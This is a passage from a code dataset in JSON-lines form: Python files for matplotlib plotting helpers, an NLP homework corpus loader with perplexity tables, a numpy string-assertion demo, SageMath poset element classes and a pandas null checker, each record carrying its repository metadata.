fig,ax\r\n\r\n'''\r\n_plotEnd\r\nEnds a previously started plot\r\nParamenters:\r\n  fig      : Figure object obtained from plotStart\r\n  ax       : Axes obtained from plotStart\r\n  labels   : List of labels for the curves (defaults to none)\r\n  location : Location for labels (defaults to 'best')\r\nReturns nothing  \r\n'''    \r\ndef _plotEnd(fig,ax,labels=[],location='best'):\r\n    if not labels == []:\r\n        pl.legend(loc=location)\r\n    xmin, xmax = plt.xlim()\r\n    ymin, ymax = plt.ylim()\r\n    ax.axvline(x=xmin,linewidth=2, color='black')\r\n    ax.axvline(x=xmax,linewidth=2, color='black')\r\n    ax.axhline(y=ymin,linewidth=2, color='black')\r\n    ax.axhline(y=ymax,linewidth=2, color='black')\r\n    plt.show()\r\n\r\n'''\r\n_plotXY\r\nPlot two magnitudes using log if needed\r\nUsed by the plot11, plot1n and plotnn commands\r\n'''\r\ndef _plotXY(x,y,label=\"\",logx=False,logy=False):\r\n    if not logx and not logy:\r\n        pl.plot(x,y,label=label)\r\n        return\r\n    if logx and not logy:\r\n        pl.semilogx(x,y,label=label)\r\n        return\r\n    if logy and not logx:\r\n        pl.semilogy(x,y,label=label)\r\n        return\r\n    if logx and logy:\r\n        pl.loglog(x,y,label=label)\r\n        return\r\n     \r\n# Public functions ######################################################################\r\n     \r\n'''\r\n@plot11@\r\nplot11(x,y,title,xt,yt,logx,logy)\r\nPlot one input against one output\r\nIf x is an empty list [], a sequence number\r\nwill be used for the x axis\r\n\r\nRequired parameters:\r\n  x : Horizontal vector\r\n  y : Vertical vector\r\n  \r\nOptional parameters:\r\n  title : Plot title (Defaults to none)\r\n     xt : Label for x axis (Defaults to none)\r\n     yt : Label for y axis (Defaults to none)\r\n   logx : Use logarithmic x axis (Defaults to False)\r\n   logy : Use logarithmic x axis (Defaults to False)\r\n   grid : Use grid (Default to True)\r\n\r\nReturns nothing     \r\n'''\r\ndef plot11(x,y,title=\"\",xt=\"\",yt=\"\",logx=False,logy=False,grid=True):\r\n\r\n    # Generate sequence if x is not provided\r\n    if x == []:\r\n        x = np.arange(0,len(y))\r\n       \r\n    fig,ax = _plotStart(title,xt,yt,grid)\r\n\r\n    _plotXY(x,y,logx=logx,logy=logy)\r\n    \r\n    _plotEnd(fig,ax)\r\n    \r\n'''\r\n@plot1n@\r\nplot1n(x,ylist,title,xt,yt,labels,location,logx,logy)\r\nPlot one input against several outputs\r\nIf x is an empty list [], a sequence number\r\nwill be used for the x axis\r\n\r\nRequired parameters:\r\n      x : Horizontal vector\r\n  ylist : List of vertical vectors\r\n  \r\nOptional parameters:\r\n    title : Plot title (Defaults to none)\r\n       xt : Label for x axis (Defaults to none)\r\n       yt : Label for y axis (Defaults to none)\r\n   labels : List of legend labels (Defaults to none)\r\n location : Location for legend (Defaults to 'best')\r\n     logx : Use logarithmic x axis (Defaults to False)\r\n     logy : Use logarithmic x axis (Defaults to False)\r\n     grid : Use grid (Default to True)     \r\n\r\nReturns nothing    \r\n'''\r\ndef plot1n(x,ylist,title=\"\",xt=\"\",yt=\"\",labels=[],location='best',logx=False,logy=False,grid=True):\r\n\r\n    # Generate sequence is x is not provided\r\n    if x == []:\r\n        x = np.arange(0,len(ylist[0]))        \r\n        \r\n    fig,ax=_plotStart(title,xt,yt,grid)\r\n    \r\n    if labels == []:\r\n        for y in ylist:\r\n            _plotXY(x,y,logx=logx,logy=logy)\r\n    else:\r\n        for y,lbl in zip(ylist,labels):\r\n            _plotXY(x,y,label=lbl,logx=logx,logy=logy)\r\n\r\n    _plotEnd(fig,ax,labels,location)   \r\n  \r\n'''\r\n@plotnn@\r\nplotnn(xlist,ylist,title,xt,yt,labels,location,logx,logy)\r\nPlot several curves with different inputs and outputs\r\n\r\nRequired parameters:\r\n  xlist : List of horizontal vector\r\n  ylist : List of vertical vectors\r\n  \r\nOptional parameters:\r\n    title : Plot title (Defaults to none)\r\n       xt : Label for x axis (Defaults to none)\r\n       yt : Label for y axis (Defaults to none)\r\n   labels : List of legend labels (Defaults to none)\r\n location : Location for legend (Defaults to 'best')\r\n     logx : Use logarithmic x axis (Defaults to False)\r\n     logy : Use logarithmic x axis (Defaults to False)\r\n     grid : Use grid (Default to True)     \r\n\r\nReturns nothing    \r\n'''\r\ndef plotnn(xlist,ylist,title=\"\",xt=\"\",yt=\"\",labels=[],location='best',logx=False,logy=False,grid=True):\r\n\r\n    fig,ax=_plotStart(title,xt,yt,grid)\r\n    \r\n    if labels == []:\r\n        for x,y in zip(xlist,ylist):\r\n            _plotXY(x,y,logx=logx,logy=logy)\r\n    else:\r\n        for x,y,lbl in zip(xlist,ylist,labels):\r\n            _plotXY(x,y,label=lbl,logx=logx,logy=logy)\r\n            \r\n    _plotEnd(fig,ax,labels,location)  \r\n    \r\n'''\r\n@plotHist@\r\nplotHist(v,bins=10,title=\"\",xt=\"\",yt=\"\",grid)\r\nPlot an histagram from provided data\r\n\r\nRequired parameters:\r\n  v : Data vector\r\n  \r\nOptional parameters:\r\n     bins : Number of bins for the histogram (Defaults to 10)\r\n    title : Plot title (Defaults to none)\r\n       xt : Label for x axis (Defaults to none)\r\n       yt : Label for y axis (Defaults to none)\r\n     grid : Use grid (Default to True)     \r\n     \r\nReturns nothing   \r\n'''    \r\ndef plotHist(v,bins=10,title=\"\",xt=\"\",yt=\"\",grid=True):\r\n\r\n    fig,ax = _plotStart(title,xt,yt,grid)\r\n\r\n    plt.hist(v,bins)\r\n    \r\n    _plotEnd(fig,ax)    \r\n    \r\n\r\n    \r\n", "meta": {"hexsha": "b3b0d6fff7e58b4efdfe7641d4ed67ec39cf6e27", "size": 6585, "ext": "py", "lang": "Python", "max_stars_repo_path": "Colaboratory/Modules/jplot.py", "max_stars_repo_name": "R6500/Python-bits", "max_stars_repo_head_hexsha": "881085cbb90c071336d3e4ae52b3bfc421bbf49c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-09-01T09:55:51.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-07T07:56:57.000Z", "max_issues_repo_path": "Colaboratory/Modules/jplot.py", "max_issues_repo_name": "R6500/Python-bits", "max_issues_repo_head_hexsha": "881085cbb90c071336d3e4ae52b3bfc421bbf49c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Colaboratory/Modules/jplot.py", "max_forks_repo_name": "R6500/Python-bits", "max_forks_repo_head_hexsha": "881085cbb90c071336d3e4ae52b3bfc421bbf49c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.1371681416, "max_line_length": 104, "alphanum_fraction": 0.586332574, "include": true, "reason": "import numpy", "num_tokens": 1630, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.13117323564948064, "lm_q1q2_score": 0.06507423279744219}}
{"text": "#!/bin/python\r\n\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\nfrom __future__ import absolute_import\r\n\r\nimport numpy as np\r\nimport sys\r\n\r\n\r\n# Python 3 backwards compatibility tricks\r\nif sys.version_info.major > 2:\r\n\r\n    def xrange(*args, **kwargs):\r\n        return iter(range(*args, **kwargs))\r\n\r\n    def unicode(*args, **kwargs):\r\n        return str(*args, **kwargs)\r\n\r\n\r\ndef textToTokens(text):\r\n    \"\"\"Converts input string to a corpus of tokenized sentences.\r\n\r\n    Assumes that the sentences are divided by newlines (but will ignore empty sentences).\r\n    You can use this to try out your own datasets, but is not needed for reading the homework data.\r\n    \"\"\"\r\n    corpus = []\r\n    sents = text.split(\"\\n\")\r\n    from sklearn.feature_extraction.text import CountVectorizer\r\n    count_vect = CountVectorizer()\r\n    count_vect.fit(sents)\r\n    tokenizer = count_vect.build_tokenizer()\r\n    for s in sents:\r\n        toks = tokenizer(s)\r\n        if len(toks) > 0:\r\n            corpus.append(toks)\r\n    return corpus\r\n\r\ndef file_splitter(filename, seed = 0, train_prop = 0.7, dev_prop = 0.15,\r\n    test_prop = 0.15):\r\n    \"\"\"Splits the lines of a file into 3 output files.\"\"\"\r\n    import random\r\n    rnd = random.Random(seed)\r\n    basename = filename[:-4]\r\n    train_file = open(basename + \".train.txt\", \"w\")\r\n    test_file = open(basename + \".test.txt\", \"w\")\r\n    dev_file = open(basename + \".dev.txt\", \"w\")\r\n    with open(filename, 'r') as f:\r\n        for l in f.readlines():\r\n            p = rnd.random()\r\n            if p < train_prop:\r\n                train_file.write(l)\r\n            elif p < train_prop + dev_prop:\r\n                dev_file.write(l)\r\n            else:\r\n                test_file.write(l)\r\n    train_file.close()\r\n    test_file.close()\r\n    dev_file.close()\r\n\r\ndef read_texts(tarfname, dname):\r\n    \"\"\"Read the data from the homework data file.\r\n\r\n    Given the location of the data archive file and the name of the\r\n    dataset (one of brown, reuters, or gutenberg), this returns a\r\n    data object containing train, test, and dev data. Each is a list\r\n    of sentences, where each sentence is a sequence of tokens.\r\n    \"\"\"\r\n    import tarfile\r\n    tar = tarfile.open(tarfname, \"r:gz\", errors = 'replace')\r\n    train_mem = tar.getmember(dname + \".train.txt\")\r\n    train_txt = unicode(tar.extractfile(train_mem).read(), errors='replace')\r\n    test_mem = tar.getmember(dname + \".test.txt\")\r\n    test_txt = unicode(tar.extractfile(test_mem).read(), errors='replace')\r\n    dev_mem = tar.getmember(dname + \".dev.txt\")\r\n    dev_txt = unicode(tar.extractfile(dev_mem).read(), errors='replace')\r\n\r\n    from sklearn.feature_extraction.text import CountVectorizer\r\n    count_vect = CountVectorizer()\r\n    count_vect.fit(train_txt.split(\"\\n\"))\r\n    tokenizer = count_vect.build_tokenizer()\r\n    class Data: pass\r\n    data = Data()\r\n    data.train = []\r\n    for s in train_txt.split(\"\\n\"):\r\n        toks = tokenizer(s)\r\n        if len(toks) > 0:\r\n            data.train.append(toks)\r\n    data.test = []\r\n    for s in test_txt.split(\"\\n\"):\r\n        toks = tokenizer(s)\r\n        if len(toks) > 0:\r\n            data.test.append(toks)\r\n    data.dev = []\r\n    for s in dev_txt.split(\"\\n\"):\r\n        toks = tokenizer(s)\r\n        if len(toks) > 0:\r\n            data.dev.append(toks)\r\n    print(dname,\" read.\", \"train:\", len(data.train), \"dev:\", len(data.dev), \"test:\", len(data.test))\r\n    return data\r\n\r\ndef learn_unigram(data):\r\n    \"\"\"Learns a unigram model from data.train.\r\n\r\n    It also evaluates the model on data.dev and data.test, along with generating\r\n    some sample sentences from the model.\r\n    \"\"\"\r\n    from lm import Unigram\r\n    unigram = Unigram()\r\n    unigram.fit_corpus(data.train)\r\n    print(\"vocab:\", len(unigram.vocab()))\r\n    # evaluate on train, test, and dev\r\n    print(\"train:\", unigram.perplexity(data.train))\r\n    print(\"dev  :\", unigram.perplexity(data.dev))\r\n    print(\"test :\", unigram.perplexity(data.test))\r\n    from generator import Sampler\r\n    sampler = Sampler(unigram)\r\n    print(\"sample: \", \" \".join(str(x) for x in sampler.sample_sentence([])))\r\n    print(\"sample: \", \" \".join(str(x) for x in sampler.sample_sentence([])))\r\n    print(\"sample: \", \" \".join(str(x) for x in sampler.sample_sentence([])))\r\n    return unigram\r\n\r\ndef print_table(table, row_names, col_names, latex_file = None):\r\n    \"\"\"Pretty prints the table given the table, and row and col names.\r\n\r\n    If a latex_file is provided (and tabulate is installed), it also writes a\r\n    file containing the LaTeX source of the table (which you can \\\\input into your report)\r\n    \"\"\"\r\n    try:\r\n        from tabulate import tabulate\r\n        rows = [*map(lambda rt: [rt[0]] + rt[1], zip(row_names,table.tolist()))]\r\n        print(tabulate(rows, headers = [\"\"] + col_names))\r\n        if latex_file is not None:\r\n            latex_str = tabulate(rows, headers = [\"\"] + col_names, tablefmt=\"latex\")\r\n            with open(latex_file, 'w') as f:\r\n                f.write(latex_str)\r\n                f.close()\r\n    except ImportError as e:\r\n        row_format =\"{:>15} \" * (len(col_names) + 1)\r\n        print(row_format.format(\"\", *col_names))\r\n        for row_name, row in zip(row_names, table):\r\n            print(row_format.format(row_name, *row))\r\n\r\nif __name__ == \"__main__\":\r\n    # Do no run, the following function was used to generate the splits\r\n    # file_splitter(\"data/reuters.txt\")\r\n\r\n    dnames = [\"brown\", \"reuters\", \"gutenberg\"]\r\n    datas = []\r\n    models = []\r\n    # Learn the models for each of the domains, and evaluate it\r\n    for dname in dnames:\r\n        print(\"-----------------------\")\r\n        print(dname)\r\n        data = read_texts(\"data/corpora.tar.gz\", dname)\r\n        datas.append(data)\r\n        model = learn_unigram(data)\r\n        models.append(model)\r\n    # compute the perplexity of all pairs\r\n    n = len(dnames)\r\n    perp_dev = np.zeros((n,n))\r\n    perp_test = np.zeros((n,n))\r\n    perp_train = np.zeros((n,n))\r\n    for i in range(n):\r\n        for j in range(n):\r\n            perp_dev[i][j] = models[i].perplexity(datas[j].dev)\r\n            perp_test[i][j] = models[i].perplexity(datas[j].test)\r\n            perp_train[i][j] = models[i].perplexity(datas[j].train)\r\n\r\n    print(\"-------------------------------\")\r\n    print(\"x train\")\r\n    print_table(perp_train, dnames, dnames, \"table-train.tex\")\r\n    print(\"-------------------------------\")\r\n    print(\"x dev\")\r\n    print_table(perp_dev, dnames, dnames, \"table-dev.tex\")\r\n    print(\"-------------------------------\")\r\n    print(\"x test\")\r\n    print_table(perp_test, dnames, dnames, \"table-test.tex\")\r\n\r\n", "meta": {"hexsha": "92d25b2116e66e6b3a683dce83abe02023afb986", "size": 6622, "ext": "py", "lang": "Python", "max_stars_repo_path": "hw2/data.py", "max_stars_repo_name": "hard-fault/uci-statnlp", "max_stars_repo_head_hexsha": "3a23dad1fe494553ca03b36967b322b54273b8d0", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hw2/data.py", "max_issues_repo_name": "hard-fault/uci-statnlp", "max_issues_repo_head_hexsha": "3a23dad1fe494553ca03b36967b322b54273b8d0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hw2/data.py", "max_forks_repo_name": "hard-fault/uci-statnlp", "max_forks_repo_head_hexsha": "3a23dad1fe494553ca03b36967b322b54273b8d0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.7888888889, "max_line_length": 101, "alphanum_fraction": 0.599063727, "include": true, "reason": "import numpy", "num_tokens": 1608, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.13117321017591388, "lm_q1q2_score": 0.0650742201601629}}
{"text": "# -*- coding:utf-8 -*-\n\"\"\"\nProject   : numpy\nFile Name : 13_to_14_string_equal\nAuthor    : Focus\nDate      : 8/23/2021 9:19 AM\nKeywords  : \nAbstract  :\nParam     : \nUsage     : py 13_to_14_string_equal\nReference :\n\"\"\"\nimport numpy as np\n# import matplotlib.pyplot as plt\n# import sys\n\n\nprint(\"Pass Case: \")\nprint(np.testing.assert_string_equal(\"NumPy\", \"NumPy\"))\nprint(\"Fail Case:\")\nprint(np.testing.assert_string_equal(\"Numpy\", \"numpy\"))\n\n#>> Traceback (most recent call last):\n#  File \"C:\\work\\code\\python\\numpy\\8_assure_quality_with_testing\\13_to_14_string_equal.py\", line 21, in <module>\n#     print(np.testing.assert_string_equal(\"Numpy\", \"numpy\"))\n#   File \"C:\\work\\code\\python\\numpy\\venv\\lib\\site-packages\\numpy\\testing\\_private\\utils.py\", line 1206, in assert_string_equal\n#     raise AssertionError(msg)\n#  AssertionError: Differences in strings:\n#  - Numpy? ^\n#  + numpy? ^\n\n", "meta": {"hexsha": "b717c0a47d270e24bf63c2e8f1b0184951cf0788", "size": 885, "ext": "py", "lang": "Python", "max_stars_repo_path": "np/8_assure_quality_with_testing/13_to_14_string_equal.py", "max_stars_repo_name": "focusunsink/study_python", "max_stars_repo_head_hexsha": "322326642db54df8725793d70a95d21ac40b6507", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "np/8_assure_quality_with_testing/13_to_14_string_equal.py", "max_issues_repo_name": "focusunsink/study_python", "max_issues_repo_head_hexsha": "322326642db54df8725793d70a95d21ac40b6507", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "np/8_assure_quality_with_testing/13_to_14_string_equal.py", "max_forks_repo_name": "focusunsink/study_python", "max_forks_repo_head_hexsha": "322326642db54df8725793d70a95d21ac40b6507", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.65625, "max_line_length": 126, "alphanum_fraction": 0.7050847458, "include": true, "reason": "import numpy", "num_tokens": 256, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41111086923216805, "lm_q2_score": 0.1581743527484317, "lm_q1q2_score": 0.06502719564864333}}
{"text": "r\"\"\"\nElements of posets, lattices, semilattices, etc.\n\"\"\"\n#*****************************************************************************\n#       Copyright (C) 2008 Peter Jipsen <jipsen@chapman.edu>,\n#                          Franco Saliola <saliola@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#\n#    This code is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n#    General Public License for more details.\n#\n#  The full text of the GPL is available at:\n#\n#                  http://www.gnu.org/licenses/\n#*****************************************************************************\nfrom sage.structure.element import Element\nfrom sage.structure.element import have_same_parent\n\nclass PosetElement(Element):\n\n    def __init__(self, poset, element, vertex):\n        r\"\"\"\n        Establishes the parent-child relationship between ``poset``\n        and ``element``, where ``element`` is associated to the\n        vertex ``vertex`` of the Hasse diagram of the poset.\n\n        INPUT:\n\n        - ``poset`` - a poset object\n\n        - ``element`` - any object\n\n        - ``vertex`` - a vertex of the Hasse diagram of the poset\n\n        TESTS::\n\n            sage: from sage.combinat.posets.elements import PosetElement\n            sage: P = Poset([[1,2],[4],[3],[4],[]], facade = False)\n            sage: e = P(0)\n            sage: e.parent() is P\n            True\n            sage: TestSuite(e).run()\n        \"\"\"\n        Element.__init__(self, poset)\n        if isinstance(element, self.parent().element_class):\n            self.element = element.element\n        else:\n            self.element = element\n        self.vertex = vertex\n\n    def __hash__(self):\n        r\"\"\"\n        TESTS::\n\n            sage: P = Poset([[1,2],[4],[3],[4],[]], facade = False)\n            sage: e = P(0)\n            sage: hash(e)\n            0\n        \"\"\"\n        return hash(self.element)\n\n    def _repr_(self):\n        \"\"\"\n        TESTS::\n\n            sage: Poset([[1,2],[4],[3],[4],[]], facade = False)(0)._repr_()\n            '0'\n        \"\"\"\n        return \"%s\" %str(self.element)\n\n    def _latex_(self):\n        r\"\"\"\n        Return the latex code of the poset element.\n\n        EXAMPLES::\n\n            sage: m = matrix(2,[1,2,3,4])\n            sage: m.set_immutable()\n            sage: P = Poset(([m],[]), facade = False)\n            sage: [e] = P\n            sage: type(e)\n            <class 'sage.combinat.posets.elements.FinitePoset_with_category.element_class'>\n            sage: latex(e)                 #indirect doctest\n            \\left(\\begin{array}{rr}\n            1 & 2 \\\\\n            3 & 4\n            \\end{array}\\right)\n        \"\"\"\n        from sage.misc.latex import latex\n        return latex(self.element)\n\n    def __eq__(self,other):\n        \"\"\"\n        TESTS::\n\n            sage: P = Poset([[\"a\",\"b\"],[\"d\"],[\"c\"],[\"d\"],[]], facade = False)\n            sage: Q = Poset([[\"a\",\"b\"],[\"d\"],[\"c\"],[],[]], facade = False)\n            sage: P(0).__eq__(P(4))\n            False\n            sage: from sage.combinat.posets.elements import PosetElement\n            sage: PosetElement(P,0,\"c\") == PosetElement(P,0,\"c\")\n            True\n            sage: PosetElement(P,0,\"c\") == PosetElement(Q,0,\"c\")\n            False\n            sage: PosetElement(P,0,\"b\") == PosetElement(P,0,\"c\")\n            False\n\n        .. warning:: as an optimization, this only compares the parent\n           and vertex, using the invariant that, in a proper poset\n           element, ``self.element == other.element`` if and only\n           ``self.vertex == other.vertex``::\n\n            sage: PosetElement(P,1,\"c\") == PosetElement(P,0,\"c\")\n            True\n\n        Test that :trac:`12351` is fixed::\n\n            sage: P(0) == int(0)\n            False\n        \"\"\"\n        # This should instead exploit unique representation, using\n        # self is other, or best inherit __eq__ from there. But there\n        # are issues around pickling and rich comparison functions.\n        return have_same_parent(self, other) \\\n            and self.vertex == other.vertex\n\n\n    def __ne__(self,other):\n        r\"\"\"\n        TESTS::\n\n            sage: P = Poset([[1,2],[4],[3],[4],[]])\n            sage: P = Poset([[\"a\",\"b\"],[\"d\"],[\"c\"],[\"d\"],[]])\n            sage: P(0).__ne__(P(4))\n            True\n            sage: from sage.combinat.posets.elements import PosetElement\n            sage: PosetElement(P,0,\"c\") != PosetElement(P,0,\"c\")\n            False\n            sage: PosetElement(P,0,\"b\") != PosetElement(P,0,\"c\")\n            True\n\n        For this one, see comment in :meth:`__eq__`::\n\n            sage: PosetElement(P,1,\"c\") != PosetElement(P,0,\"c\")\n            False\n        \"\"\"\n        return not self == other\n\n    def _cmp(self,other):\n        \"\"\"\n        TESTS::\n\n            sage: P = Poset([[1,2],[4],[3],[4],[]], facade = False)\n            sage: P(0)._cmp(P(4))\n            -1\n            sage: P(4)._cmp(P(0))\n            1\n            sage: P(0)._cmp(P(0))\n            0\n            sage: P(1)._cmp(P(2))\n\n        \"\"\"\n        return self.parent().compare_elements(self,other)\n\n    def __cmp__(self, other):\n        r\"\"\"\n        A default comparison of ``self`` with ``other``.\n\n        .. note::\n\n           The rich comparison methods have been implemented for poset\n           elements, so when a user asks for ``x < y``, for example, rich\n           comparison is used (that is, ``x.__lt__(y)`` is returned). This\n           method is implemented because ``PosetElement`` inherits from\n           ``Element``, which requires ``__cmp__`` to enable sorting by the\n           ``cmp`` method.\n\n           If both ``self`` and ``other`` have the same parent poset,\n           then the comparison is done in the poset. If the elements\n           are incomparable in the poset, then 0 is returned. Note that,\n           in particular, ``cmp(a,b) == cmp(b,a)`` if ``a`` and ``b`` are\n           equal or incomparable in the poset.\n\n        TESTS::\n\n            sage: P = Poset([[1,2],[4],[3],[4],[]], facade = False)\n            sage: P(0).__cmp__(P(4))\n            -1\n            sage: P(4).__cmp__(P(0))\n            1\n            sage: P(0).__cmp__(P(0))\n            0\n            sage: P(1).__cmp__(P(2))\n            0\n            sage: cmp(P(0),P(4))\n            -1\n            sage: cmp(P(4),P(0))\n            1\n            sage: cmp(P(0),P(0))\n            0\n            sage: cmp(P(1),P(2))\n            0\n            sage: cmp(P(2),P(1))\n            0\n        \"\"\"\n        if isinstance(other, type(self)):\n            r = self.parent().compare_elements(self,other)\n            if r is None:\n                return 0\n            else:\n                return r\n        else:\n            return cmp(type(other), type(self))\n\n    def __lt__(self,other):\n        \"\"\"\n        TESTS\n\n        ::\n\n            sage: dag = DiGraph({0:[2,3], 1:[3,4], 2:[5], 3:[5], 4:[5]})\n            sage: P = Poset(dag, facade = False)\n            sage: P(0) < P(1)\n            False\n            sage: P(4) < P(1)\n            False\n            sage: P(0) < P(0)\n            False\n        \"\"\"\n        return self._cmp(other) == -1 or False\n\n    def __le__(self,other):\n        \"\"\"\n        TESTS\n\n        ::\n\n            sage: dag = DiGraph({0:[2,3], 1:[3,4], 2:[5], 3:[5], 4:[5]})\n            sage: P = Poset(dag, facade = False)\n            sage: P(1) <= P(0)\n            False\n            sage: P(0) <= P(1)\n            False\n            sage: P(0) <= P(3)\n            True\n            sage: P(0) <= P(0)\n            True\n        \"\"\"\n        return self == other or self._cmp(other) == -1 or False\n\n    def __gt__(self,other):\n        \"\"\"\n        TESTS\n\n        ::\n\n            sage: dag = DiGraph({0:[2,3], 1:[3,4], 2:[5], 3:[5], 4:[5]})\n            sage: P = Poset(dag)\n            sage: P(0).__gt__(P(5))\n            False\n            sage: P(5).__gt__(P(0))\n            True\n            sage: P(0).__gt__(P(0))\n            False\n        \"\"\"\n        return self._cmp(other) == 1 or False\n\n    def __ge__(self,other):\n        \"\"\"\n        TESTS\n\n        ::\n\n            sage: dag = DiGraph({0:[2,3], 1:[3,4], 2:[5], 3:[5], 4:[5]})\n            sage: P = Poset(dag)\n            sage: P(0).__ge__(P(5))\n            False\n            sage: P(5).__ge__(P(0))\n            True\n            sage: P(0).__ge__(P(0))\n            True\n        \"\"\"\n        return self == other or self._cmp(other) == 1 or False\n\nclass MeetSemilatticeElement(PosetElement):\n    def __mul__(self,other):\n        r\"\"\"\n        Return the meet of ``self`` and ``other`` in the lattice.\n\n        EXAMPLES::\n\n            sage: D = Posets.DiamondPoset(5,facade=False)\n            sage: D(1) * D(2)\n            0\n            sage: D(1) * D(1)\n            1\n            sage: D(1) * D(0)\n            0\n            sage: D(1) * D(4)\n            1\n        \"\"\"\n        return self.parent().meet(self,other)\n\nclass JoinSemilatticeElement(PosetElement):\n    def __add__(self,other):\n        r\"\"\"\n        Return the join of ``self`` and ``other`` in the lattice.\n\n        EXAMPLES::\n\n            sage: D = Posets.DiamondPoset(5,facade=False)\n            sage: D(1) + D(2)\n            4\n            sage: D(1) + D(1)\n            1\n            sage: D(1) + D(4)\n            4\n            sage: D(1) + D(0)\n            1\n        \"\"\"\n        return self.parent().join(self,other)\n\nclass LatticePosetElement(MeetSemilatticeElement,JoinSemilatticeElement):\n    pass\n", "meta": {"hexsha": "9075256de8b2398fa94b175f02b06a613a37da0d", "size": 9542, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/combinat/posets/elements.py", "max_stars_repo_name": "fredstro/sage", "max_stars_repo_head_hexsha": "c936d2cda81ec7ec3552a3bdb29c994b40d1bb24", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2018-06-30T01:37:35.000Z", "max_stars_repo_stars_event_max_datetime": "2018-06-30T01:37:39.000Z", "max_issues_repo_path": "src/sage/combinat/posets/elements.py", "max_issues_repo_name": "boothby/sage", "max_issues_repo_head_hexsha": "1b1e6f608d1ef8ee664bb19e991efbbc68cbd51f", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/combinat/posets/elements.py", "max_forks_repo_name": "boothby/sage", "max_forks_repo_head_hexsha": "1b1e6f608d1ef8ee664bb19e991efbbc68cbd51f", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.0914634146, "max_line_length": 91, "alphanum_fraction": 0.4652064557, "include": true, "reason": "from sage", "num_tokens": 2572, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4111108836623764, "lm_q2_score": 0.1581743467959293, "lm_q1q2_score": 0.06502719548399366}}
{"text": "\nimport numpy as np \nimport pandas as pd\n\n#Check a dataframe for nulls, print/report them in a nice \"pretty\" format\n\ndef check_nulls(my_df):\n    \n    new_df = my_df.copy()\n\n    return new_df.isna()\n\n\nif __name__ == \"__main__\":\n    #Creating a dictionary\n    dict = {'Name': ['John', 'Peter', 'Sam', np.nan],\n            'Age': [30, np.nan, np.nan, 45],\n            'Income': [100000, 75000, np.nan, 50000]}\n\n    #Creating a DataFrame from list\n    df = pd.DataFrame(dict)\n    print(df.head())\n\n    df2 = check_nulls(df) # invoking a function\n    print(df2.head())\n\n    \n  \n", "meta": {"hexsha": "4baa1adca9544110b54ece5dac525e18d200bd59", "size": 573, "ext": "py", "lang": "Python", "max_stars_repo_path": "my_lambdata/nulls_func.py", "max_stars_repo_name": "Khislatz/lambdata-khislatz", "max_stars_repo_head_hexsha": "8df039e2f3ed1309e7b9ac4b53cb0a770ccf0420", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "my_lambdata/nulls_func.py", "max_issues_repo_name": "Khislatz/lambdata-khislatz", "max_issues_repo_head_hexsha": "8df039e2f3ed1309e7b9ac4b53cb0a770ccf0420", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "my_lambdata/nulls_func.py", "max_forks_repo_name": "Khislatz/lambdata-khislatz", "max_forks_repo_head_hexsha": "8df039e2f3ed1309e7b9ac4b53cb0a770ccf0420", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.7586206897, "max_line_length": 73, "alphanum_fraction": 0.5986038394, "include": true, "reason": "import numpy", "num_tokens": 163, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828341018881344, "lm_q2_score": 0.1329642487872128, "lm_q1q2_score": 0.06492423683101407}}
